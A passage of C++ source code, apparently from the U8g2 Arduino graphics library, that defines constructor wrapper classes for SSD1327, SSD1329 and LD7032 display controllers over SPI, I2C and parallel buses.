u8x8_byte_arduino_2nd_hw_i2c, u8x8_gpio_and_delay_arduino); u8x8_SetPin_HW_I2C(getU8x8(), reset); } }; class U8G2_SSD1327_VISIONOX_128X96_F_SW_I2C : public U8G2 { public: U8G2_SSD1327_VISIONOX_128X96_F_SW_I2C(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_ssd1327_i2c_visionox_128x96_f(&u8g2, rotation, u8x8_byte_arduino_sw_i2c, u8x8_gpio_and_delay_arduino); u8x8_SetPin_SW_I2C(getU8x8(), clock, data, reset); } }; class U8G2_SSD1327_VISIONOX_128X96_F_HW_I2C : public U8G2 { public: U8G2_SSD1327_VISIONOX_128X96_F_HW_I2C(const u8g2_cb_t *rotation, uint8_t reset = U8X8_PIN_NONE, uint8_t clock = U8X8_PIN_NONE, uint8_t data = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_ssd1327_i2c_visionox_128x96_f(&u8g2, rotation, u8x8_byte_arduino_hw_i2c, u8x8_gpio_and_delay_arduino); u8x8_SetPin_HW_I2C(getU8x8(), reset, clock, data); } }; class U8G2_SSD1327_VISIONOX_128X96_F_2ND_HW_I2C : public U8G2 { public: U8G2_SSD1327_VISIONOX_128X96_F_2ND_HW_I2C(const u8g2_cb_t *rotation, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_ssd1327_i2c_visionox_128x96_f(&u8g2, rotation, u8x8_byte_arduino_2nd_hw_i2c, u8x8_gpio_and_delay_arduino); u8x8_SetPin_HW_I2C(getU8x8(), reset); } }; class U8G2_SSD1329_128X96_NONAME_1_4W_SW_SPI : public U8G2 { public: U8G2_SSD1329_128X96_NONAME_1_4W_SW_SPI(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_ssd1329_128x96_noname_1(&u8g2, rotation, u8x8_byte_arduino_4wire_sw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_SW_SPI(getU8x8(), clock, data, cs, dc, reset); } }; class U8G2_SSD1329_128X96_NONAME_1_4W_HW_SPI : public U8G2 { public: U8G2_SSD1329_128X96_NONAME_1_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_ssd1329_128x96_noname_1(&u8g2, rotation, u8x8_byte_arduino_hw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset); } }; class U8G2_SSD1329_128X96_NONAME_1_2ND_4W_HW_SPI : public U8G2 { public: U8G2_SSD1329_128X96_NONAME_1_2ND_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_ssd1329_128x96_noname_1(&u8g2, rotation, u8x8_byte_arduino_2nd_hw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset); } }; class U8G2_SSD1329_128X96_NONAME_1_6800 : public U8G2 { public: U8G2_SSD1329_128X96_NONAME_1_6800(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_ssd1329_128x96_noname_1(&u8g2, rotation, u8x8_byte_8bit_6800mode, u8x8_gpio_and_delay_arduino); u8x8_SetPin_8Bit_6800(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset); } }; class U8G2_SSD1329_128X96_NONAME_1_8080 : public U8G2 { public: U8G2_SSD1329_128X96_NONAME_1_8080(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_ssd1329_128x96_noname_1(&u8g2, rotation, u8x8_byte_arduino_8bit_8080mode, u8x8_gpio_and_delay_arduino); u8x8_SetPin_8Bit_8080(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset); } }; class U8G2_SSD1329_128X96_NONAME_2_4W_SW_SPI : public U8G2 { public: U8G2_SSD1329_128X96_NONAME_2_4W_SW_SPI(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_ssd1329_128x96_noname_2(&u8g2, rotation, u8x8_byte_arduino_4wire_sw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_SW_SPI(getU8x8(), clock, data, cs, dc, reset); } }; class U8G2_SSD1329_128X96_NONAME_2_4W_HW_SPI : public U8G2 { public: U8G2_SSD1329_128X96_NONAME_2_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_ssd1329_128x96_noname_2(&u8g2, rotation, u8x8_byte_arduino_hw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset); } }; class U8G2_SSD1329_128X96_NONAME_2_2ND_4W_HW_SPI : public U8G2 { public: U8G2_SSD1329_128X96_NONAME_2_2ND_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_ssd1329_128x96_noname_2(&u8g2, rotation, u8x8_byte_arduino_2nd_hw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset); } }; class U8G2_SSD1329_128X96_NONAME_2_6800 : public U8G2 { public: U8G2_SSD1329_128X96_NONAME_2_6800(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_ssd1329_128x96_noname_2(&u8g2, rotation, u8x8_byte_8bit_6800mode, u8x8_gpio_and_delay_arduino); u8x8_SetPin_8Bit_6800(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset); } }; class U8G2_SSD1329_128X96_NONAME_2_8080 : public U8G2 { public: U8G2_SSD1329_128X96_NONAME_2_8080(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_ssd1329_128x96_noname_2(&u8g2, rotation, u8x8_byte_arduino_8bit_8080mode, u8x8_gpio_and_delay_arduino); u8x8_SetPin_8Bit_8080(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset); } }; class U8G2_SSD1329_128X96_NONAME_F_4W_SW_SPI : public U8G2 { public: U8G2_SSD1329_128X96_NONAME_F_4W_SW_SPI(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_ssd1329_128x96_noname_f(&u8g2, rotation, u8x8_byte_arduino_4wire_sw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_SW_SPI(getU8x8(), clock, data, cs, dc, reset); } }; class U8G2_SSD1329_128X96_NONAME_F_4W_HW_SPI : public U8G2 { public: U8G2_SSD1329_128X96_NONAME_F_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_ssd1329_128x96_noname_f(&u8g2, rotation, u8x8_byte_arduino_hw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset); } }; class U8G2_SSD1329_128X96_NONAME_F_2ND_4W_HW_SPI : public U8G2 { public: U8G2_SSD1329_128X96_NONAME_F_2ND_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_ssd1329_128x96_noname_f(&u8g2, rotation, u8x8_byte_arduino_2nd_hw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset); } }; class U8G2_SSD1329_128X96_NONAME_F_6800 : public U8G2 { public: U8G2_SSD1329_128X96_NONAME_F_6800(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_ssd1329_128x96_noname_f(&u8g2, rotation, u8x8_byte_8bit_6800mode, u8x8_gpio_and_delay_arduino); u8x8_SetPin_8Bit_6800(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset); } }; class U8G2_SSD1329_128X96_NONAME_F_8080 : public U8G2 { public: U8G2_SSD1329_128X96_NONAME_F_8080(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_ssd1329_128x96_noname_f(&u8g2, rotation, u8x8_byte_arduino_8bit_8080mode, u8x8_gpio_and_delay_arduino); u8x8_SetPin_8Bit_8080(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset); } }; class U8G2_SSD1329_96X96_NONAME_1_4W_SW_SPI : public U8G2 { public: U8G2_SSD1329_96X96_NONAME_1_4W_SW_SPI(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_ssd1329_96x96_noname_1(&u8g2, rotation, u8x8_byte_arduino_4wire_sw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_SW_SPI(getU8x8(), clock, data, cs, dc, reset); } }; class U8G2_SSD1329_96X96_NONAME_1_4W_HW_SPI : public U8G2 { public: U8G2_SSD1329_96X96_NONAME_1_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_ssd1329_96x96_noname_1(&u8g2, rotation, u8x8_byte_arduino_hw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset); } }; class U8G2_SSD1329_96X96_NONAME_1_2ND_4W_HW_SPI : public U8G2 { public: U8G2_SSD1329_96X96_NONAME_1_2ND_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_ssd1329_96x96_noname_1(&u8g2, rotation, u8x8_byte_arduino_2nd_hw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset); } }; class U8G2_SSD1329_96X96_NONAME_1_6800 : public U8G2 { public: U8G2_SSD1329_96X96_NONAME_1_6800(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_ssd1329_96x96_noname_1(&u8g2, rotation, u8x8_byte_8bit_6800mode, u8x8_gpio_and_delay_arduino); u8x8_SetPin_8Bit_6800(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset); } }; class U8G2_SSD1329_96X96_NONAME_1_8080 : public U8G2 { public: U8G2_SSD1329_96X96_NONAME_1_8080(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_ssd1329_96x96_noname_1(&u8g2, rotation, u8x8_byte_arduino_8bit_8080mode, u8x8_gpio_and_delay_arduino); u8x8_SetPin_8Bit_8080(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset); } }; class U8G2_SSD1329_96X96_NONAME_2_4W_SW_SPI : public U8G2 { public: U8G2_SSD1329_96X96_NONAME_2_4W_SW_SPI(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_ssd1329_96x96_noname_2(&u8g2, rotation, u8x8_byte_arduino_4wire_sw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_SW_SPI(getU8x8(), clock, data, cs, dc, reset); } }; class U8G2_SSD1329_96X96_NONAME_2_4W_HW_SPI : public U8G2 { public: U8G2_SSD1329_96X96_NONAME_2_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_ssd1329_96x96_noname_2(&u8g2, rotation, u8x8_byte_arduino_hw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset); } }; class U8G2_SSD1329_96X96_NONAME_2_2ND_4W_HW_SPI : public U8G2 { public: U8G2_SSD1329_96X96_NONAME_2_2ND_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_ssd1329_96x96_noname_2(&u8g2, rotation, u8x8_byte_arduino_2nd_hw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset); } }; class U8G2_SSD1329_96X96_NONAME_2_6800 : public U8G2 { public: U8G2_SSD1329_96X96_NONAME_2_6800(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_ssd1329_96x96_noname_2(&u8g2, rotation, u8x8_byte_8bit_6800mode, u8x8_gpio_and_delay_arduino); u8x8_SetPin_8Bit_6800(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset); } }; class U8G2_SSD1329_96X96_NONAME_2_8080 : public U8G2 { public: U8G2_SSD1329_96X96_NONAME_2_8080(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_ssd1329_96x96_noname_2(&u8g2, rotation, u8x8_byte_arduino_8bit_8080mode, u8x8_gpio_and_delay_arduino); u8x8_SetPin_8Bit_8080(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset); } }; class U8G2_SSD1329_96X96_NONAME_F_4W_SW_SPI : public U8G2 { public: U8G2_SSD1329_96X96_NONAME_F_4W_SW_SPI(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_ssd1329_96x96_noname_f(&u8g2, rotation, u8x8_byte_arduino_4wire_sw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_SW_SPI(getU8x8(), clock, data, cs, dc, reset); } }; class U8G2_SSD1329_96X96_NONAME_F_4W_HW_SPI : public U8G2 { public: U8G2_SSD1329_96X96_NONAME_F_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_ssd1329_96x96_noname_f(&u8g2, rotation, u8x8_byte_arduino_hw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset); } }; class U8G2_SSD1329_96X96_NONAME_F_2ND_4W_HW_SPI : public U8G2 { public: U8G2_SSD1329_96X96_NONAME_F_2ND_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_ssd1329_96x96_noname_f(&u8g2, rotation, u8x8_byte_arduino_2nd_hw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset); } }; class U8G2_SSD1329_96X96_NONAME_F_6800 : public U8G2 { public: U8G2_SSD1329_96X96_NONAME_F_6800(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_ssd1329_96x96_noname_f(&u8g2, rotation, u8x8_byte_8bit_6800mode, u8x8_gpio_and_delay_arduino); u8x8_SetPin_8Bit_6800(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset); } }; class U8G2_SSD1329_96X96_NONAME_F_8080 : public U8G2 { public: U8G2_SSD1329_96X96_NONAME_F_8080(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_ssd1329_96x96_noname_f(&u8g2, rotation, u8x8_byte_arduino_8bit_8080mode, u8x8_gpio_and_delay_arduino); u8x8_SetPin_8Bit_8080(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset); } }; class U8G2_LD7032_60X32_1_4W_SW_SPI : public U8G2 { public: U8G2_LD7032_60X32_1_4W_SW_SPI(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_ld7032_60x32_1(&u8g2, rotation, u8x8_byte_arduino_4wire_sw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_SW_SPI(getU8x8(), clock, data, cs, dc, reset); } }; class U8G2_LD7032_60X32_1_4W_HW_SPI : public U8G2 { public: U8G2_LD7032_60X32_1_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_ld7032_60x32_1(&u8g2, rotation, u8x8_byte_arduino_hw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset); } }; class U8G2_LD7032_60X32_1_2ND_4W_HW_SPI : public U8G2 { public: U8G2_LD7032_60X32_1_2ND_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_ld7032_60x32_1(&u8g2, rotation, u8x8_byte_arduino_2nd_hw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset); } }; class U8G2_LD7032_60X32_ALT_1_4W_SW_SPI : public U8G2 { public: U8G2_LD7032_60X32_ALT_1_4W_SW_SPI(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_ld7032_60x32_alt_1(&u8g2, rotation, u8x8_byte_arduino_4wire_sw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_SW_SPI(getU8x8(), clock, data, cs, dc, reset); } }; class U8G2_LD7032_60X32_ALT_1_4W_HW_SPI : public U8G2 { public: U8G2_LD7032_60X32_ALT_1_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_ld7032_60x32_alt_1(&u8g2, rotation, u8x8_byte_arduino_hw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset); } }; class U8G2_LD7032_60X32_ALT_1_2ND_4W_HW_SPI : public U8G2 { public: U8G2_LD7032_60X32_ALT_1_2ND_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_ld7032_60x32_alt_1(&u8g2, rotation, u8x8_byte_arduino_2nd_hw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset); } }; class U8G2_LD7032_60X32_2_4W_SW_SPI : public U8G2 { public: U8G2_LD7032_60X32_2_4W_SW_SPI(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_ld7032_60x32_2(&u8g2, rotation, u8x8_byte_arduino_4wire_sw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_SW_SPI(getU8x8(), clock, data, cs, dc, reset); } }; class U8G2_LD7032_60X32_2_4W_HW_SPI : public U8G2 { public: U8G2_LD7032_60X32_2_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_ld7032_60x32_2(&u8g2, rotation, u8x8_byte_arduino_hw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset); } }; class U8G2_LD7032_60X32_2_2ND_4W_HW_SPI : public U8G2 { public: U8G2_LD7032_60X32_2_2ND_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_ld7032_60x32_2(&u8g2, rotation, u8x8_byte_arduino_2nd_hw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset); } }; class U8G2_LD7032_60X32_ALT_2_4W_SW_SPI : public U8G2 { public: U8G2_LD7032_60X32_ALT_2_4W_SW_SPI(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_ld7032_60x32_alt_2(&u8g2, rotation, u8x8_byte_arduino_4wire_sw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_SW_SPI(getU8x8(), clock, data, cs, dc, reset); } }; class U8G2_LD7032_60X32_ALT_2_4W_HW_SPI : public U8G2 { public: U8G2_LD7032_60X32_ALT_2_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_ld7032_60x32_alt_2(&u8g2, rotation, u8x8_byte_arduino_hw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset); } }; class U8G2_LD7032_60X32_ALT_2_2ND_4W_HW_SPI : public U8G2 { public: U8G2_LD7032_60X32_ALT_2_2ND_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_ld7032_60x32_alt_2(&u8g2, rotation, u8x8_byte_arduino_2nd_hw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset); } }; class U8G2_LD7032_60X32_F_4W_SW_SPI : public U8G2 { public: U8G2_LD7032_60X32_F_4W_SW_SPI(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_ld7032_60x32_f(&u8g2, rotation, u8x8_byte_arduino_4wire_sw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_SW_SPI(getU8x8(), clock, data, cs, dc, reset); } }; class U8G2_LD7032_60X32_F_4W_HW_SPI : public U8G2 { public: U8G2_LD7032_60X32_F_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_ld7032_60x32_f(&u8g2, rotation, u8x8_byte_arduino_hw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset); } }; class U8G2_LD7032_60X32_F_2ND_4W_HW_SPI : public U8G2 { public: U8G2_LD7032_60X32_F_2ND_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_ld7032_60x32_f(&u8g2, rotation, u8x8_byte_arduino_2nd_hw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset); } }; class U8G2_LD7032_60X32_ALT_F_4W_SW_SPI : public U8G2 { public: U8G2_LD7032_60X32_ALT_F_4W_SW_SPI(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_ld7032_60x32_alt_f(&u8g2, rotation, u8x8_byte_arduino_4wire_sw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_SW_SPI(getU8x8(), clock, data, cs, dc, reset); } }; class U8G2_LD7032_60X32_ALT_F_4W_HW_SPI : public U8G2 { public: U8G2_LD7032_60X32_ALT_F_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_ld7032_60x32_alt_f(&u8g2, rotation, u8x8_byte_arduino_hw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset); } }; class U8G2_LD7032_60X32_ALT_F_2ND_4W_HW_SPI : public U8G2 { public: U8G2_LD7032_60X32_ALT_F_2ND_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_ld7032_60x32_alt_f(&u8g2, rotation, u8x8_byte_arduino_2nd_hw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset); } }; class U8G2_LD7032_60X32_1_SW_I2C : public U8G2 { public: U8G2_LD7032_60X32_1_SW_I2C(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_ld7032_i2c_60x32_1(&u8g2, rotation, u8x8_byte_arduino_sw_i2c, u8x8_gpio_and_delay_arduino); u8x8_SetPin_SW_I2C(getU8x8(), clock, data, reset); } }; class U8G2_LD7032_60X32_1_HW_I2C : public U8G2 { public: U8G2_LD7032_60X32_1_HW_I2C(const u8g2_cb_t *rotation, uint8_t reset = U8X8_PIN_NONE, uint8_t clock = U8X8_PIN_NONE, uint8_t data = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_ld7032_i2c_60x32_1(&u8g2, rotation, u8x8_byte_arduino_hw_i2c, u8x8_gpio_and_delay_arduino); u8x8_SetPin_HW_I2C(getU8x8(), reset, clock, data); } }; class U8G2_LD7032_60X32_1_2ND_HW_I2C : public U8G2 { public: U8G2_LD7032_60X32_1_2ND_HW_I2C(const u8g2_cb_t *rotation, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_ld7032_i2c_60x32_1(&u8g2, rotation, u8x8_byte_arduino_2nd_hw_i2c, u8x8_gpio_and_delay_arduino); u8x8_SetPin_HW_I2C(getU8x8(), reset); } }; class U8G2_LD7032_60X32_ALT_1_SW_I2C : public U8G2 { public: U8G2_LD7032_60X32_ALT_1_SW_I2C(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_ld7032_i2c_60x32_alt_1(&u8g2, rotation, u8x8_byte_arduino_sw_i2c, u8x8_gpio_and_delay_arduino); u8x8_SetPin_SW_I2C(getU8x8(), clock, data, reset); } }; class U8G2_LD7032_60X32_ALT_1_HW_I2C : public U8G2 { public: U8G2_LD7032_60X32_ALT_1_HW_I2C(const u8g2_cb_t *rotation, uint8_t reset = U8X8_PIN_NONE, uint8_t clock = U8X8_PIN_NONE, uint8_t data = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_ld7032_i2c_60x32_alt_1(&u8g2, rotation, u8x8_byte_arduino_hw_i2c, u8x8_gpio_and_delay_arduino); u8x8_SetPin_HW_I2C(getU8x8(), reset, clock, data); } }; class U8G2_LD7032_60X32_ALT_1_2ND_HW_I2C : public U8G2 { public: 